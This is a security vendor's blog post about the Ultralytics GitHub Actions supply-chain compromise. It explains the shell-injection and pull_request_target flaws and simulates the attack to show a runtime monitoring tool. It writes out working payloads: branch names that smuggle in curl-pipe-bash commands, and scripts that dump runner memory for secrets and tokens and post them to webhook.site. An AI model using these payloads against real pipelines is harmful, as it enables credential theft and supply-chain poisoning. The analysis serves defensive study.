Ultralytics, known for its powerful YOLO models widely used in industries like healthcare, transportation, and agriculture, recently faced a significant compromise in its repository through CI/CD vulnerabilities. This blog post explores how GitHub Actions were exploited to inject a cryptominer, steal sensitive secrets, and poison build caches. We focus on the CI/CD attack vector and demonstrate how StepSecurity Harden-Runner could have detected and mitigated the incident. Similar to our analysis of the backdoored xz-utils build process, we simulate the attack and analyze its impact using Harden-Runner, which has proven effective in detecting real-world incidents, such as those involving GoogleFlank and Microsoft Azure Karpenter Provider.
Before diving into the details, I want to thank the Ultralytics community for their quick response and collaboration in addressing this issue.
The attack unfolded through a series of malicious pull requests (PRs), targeting vulnerabilities reintroduced in commit ultralytics/actions@c1365ce. Here's a timeline of key events:
The vulnerable workflow used a custom GitHub Action owned by Ultralytics named ultralytics/actions, which was vulnerable to shell injection. The vulnerability in ultralytics/actions lies in the use of untrusted user inputs, such as branch names or PR titles, directly in shell commands without proper sanitization (see the relevant code snippet here). For example, the run block dynamically constructs a shell command using variables like github.head_ref or github.ref, which can be manipulated by an attacker:
run: |
git pull origin ${{ github.head_ref || github.ref }}
If the attacker creates a branch name with a malicious payload, such as $(curl -s http://malicious.com/script.sh | bash), the shell would execute it in the privileged context of the workflow, enabling arbitrary code execution.
The impact of this vulnerability is severe:
To learn more about this type of vulnerability, check out script injection in CI/CD pipelines.
Another vulnerability arises in the format.yml workflow file, where the pull_request_target event is used. This workflow runs in the context of the base repository when a pull request is created (see the relevant workflow configuration here).
When combined with write permissions or access to secrets, this creates a dangerous attack vector.
For example, an attacker can craft a malicious PR with code designed to exploit the base repository’s workflows, gaining access to sensitive secrets or executing privileged operations. This creates a direct path for:
To dive deeper into this vulnerability, refer to pwn request vulnerabilities.
The attacker leveraged these vulnerabilities by crafting malicious pull requests. The pull requests exploited the unsanitized inputs in action.yml and the dangerous use of pull_request_target in format.yml.
The attacker created a malicious branch with a specially crafted malicious name:
openimbot:${curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc9
When the workflow was triggered, this branch name caused the following payload to execute in the CI/CD environment:
YOUR_EXFIL="webhook.site/31c2eb17-ae87-4aaf-835a-ef2d225d58d0"
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0
BLOB2=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"CacheServerUrl":"[^"]*"' | sort -u
curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null
fi
The malicious scripts referenced in the payload were deleted by the adversary, along with GitHub workflow logs, to erase traces of their activities. However, based on historical patterns and analysis, the payload likely matched the one shown above.
By exploiting these vulnerabilities, the attacker carried out a highly impactful supply chain attack, underscoring the need for input sanitization, proper permissions, and secure CI/CD workflows. Because of the complexity, the adversary successfully compromised several Ultralytics PyPI releases, even after the attack was discovered. It took the Ultralytics team and community a while to mitigate the incident.
StepSecurity Harden-Runner is a robust security tool that protects CI/CD pipelines from vulnerabilities and supply chain attacks. It provides network egress control and CI/CD infrastructure security for GitHub-hosted and self-hosted runner environments. It is trusted by over 4,800 open-source projects and several enterprise customers for securing their CI/CD runtime environments.
In this section, we simulate the Ultralytics GitHub Actions attack using Harden-Runner to demonstrate how it could have detected and mitigated the vulnerabilities in the workflows.
To simulate the GitHub Actions attack that was used to poison the GitHub Actions Cache in the incident, we created a clone of the Ultralytics repository:
In this repository, there are three relevant GitHub Actions workflows:
This is the original vulnerable workflow file from the Ultralytics repository.
format-harden-runner-audit.yml
This workflow is the same as format.yml with StepSecurity Harden-Runner in audit mode.
Example configuration:
name: Ultralytics Actions Harden-Runner Audit
on:
issues:
types: [opened, edited]
discussion:
types: [created]
pull_request_target:
branches: [main]
types: [opened, closed, synchronize, review_requested]
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
egress-policy: audit
- name: Run Ultralytics Formatting
uses: ultralytics/actions@eb1201bd933b9f6096c64525ccaee3684c91bf14 format-harden-runner-block.yml
This workflow is the same as format.yml with StepSecurity Harden-Runner in block mode. The block policy was generated based on the past runs of the workflow.
Example configuration:
name: Ultralytics Actions Harden-Runner Block
on:
issues:
types: [opened, edited]
discussion:
types: [created]
pull_request_target:
branches: [main]
types: [opened, closed, synchronize, review_requested]
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
egress-policy: block
allowed-endpoints: >
api.github.com:443
api.openai.com:443
files.pythonhosted.org:443
github.com:443
objects.githubusercontent.com:443
pypi.org:443
registry.npmjs.org:443
- name: Run Ultralytics Formatting
uses: ultralytics/actions@eb1201bd933b9f6096c64525ccaee3684c91bf14
As the actual GitHub Actions attack payload is unavailable, we will use the payload discovered by Andy Lindeman based on the search for similar branch names in the repository. This payload does seem to be from the threat actor, as the author email address in git log uses the domain that was used by the crypto miner. This payload has been uploaded to the following gist location with a webhook site address that we control:
YOUR_EXFIL="webhook.site/f48d7c5e-d550-4d08-9272-7791e655eaca"
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`
# Exfil to Burp
curl -s -d "$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null
else
exit 0
fi
BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u`
BLOB2=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"CacheServerUrl":"[^"]*"' | sort -u`
curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null
To simulate the attack, we have forked step-security/ultralytics-clone at ashishkurmi/ultralytics-clone. In the fork, we have created a branch with a malicious name (given below) that exploits the script injection vulnerability.
$({curl,-sSfL,gist.githubusercontent.com/ashishkurmi/bd7e450e83576108a30d5d990bc1721c/raw/5c7251e0cf8f96b4f4374d72a20c88348178eaab/run.sh}${IFS}|${IFS}bash)
To trigger the attack, we created a pull request with a dummy change from this branch.
Let’s see what happened when the exploit ran on each of the three workflow files described above:
The exploit worked as intended. Exploiting the script injection and Pwn Request vulnerabilities described above led to the execution of attacker-controlled code in a privileged context, which exfiltrated CI/CD secrets. These secrets can be used for poisoning build cache to inject cryptominers / backdoor, making unauthorized code changes, etc.
You can see the exfiltrated GITHUB_ACTIONS token below:
You can see the exfiltrated secrets to perform build-cache poisoning below:
Similarly, the script above can be used to exfiltrate CI/CD secrets used in the vulnerable workflow such as _GITHUB_TOKEN and OPENAI_API_KEY. If _GITHUB_TOKEN is a PAT associated with a privileged GitHub user, it could be used to steal all GitHub Actions secrets.
As Harden-Runner had monitored previous workflow runs, it had created a baseline of expected outbound network destinations. When the vulnerable GitHub Actions workflow ran with the exploit, it flagged new network endpoints as malicious. You can see the Harden-Runner insights for the run below with the malicious calls highlighted as Anomalous:
StepSecurity Enterprise customers get real-time notifications for such detections.
As Harden-Runner was not configured to block calls to unknown destinations, it did allow the malicious calls to go through.
This detection is similar to how Harden-Runner detected real-world supply chain attacks in Google Flank and Microsoft Azure Karpenter Provider open-source projects.
Harden-Runner was configured to block outbound network connections to unknown destinations, you can see the insights for the workflow run below:
Harden-Runner blocked the very first network connection to gist.githubusercontent.com to retrieve the exploit payload, preventing the exploitation all together.
Just like the audit case, StepSecurity enterprise customers receive real-time alerts anytime an outbound connection is blocked.
Because of the highly domain specific knowledge required to build secure CI/CD pipelines, it’s challenging for software developers to build complex CI/CD pipelines without introducing vulnerabilities. In addition, vulnerable CI/CD pipelines in open-source projects are often easily exploitable. Enterprises and open-source communities must use solutions for network egress visibility and runtime monitoring for CI/CD pipeline runs. Harden-Runner is an easy-to-use platform for implementing these runtime security controls for CI/CD.
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。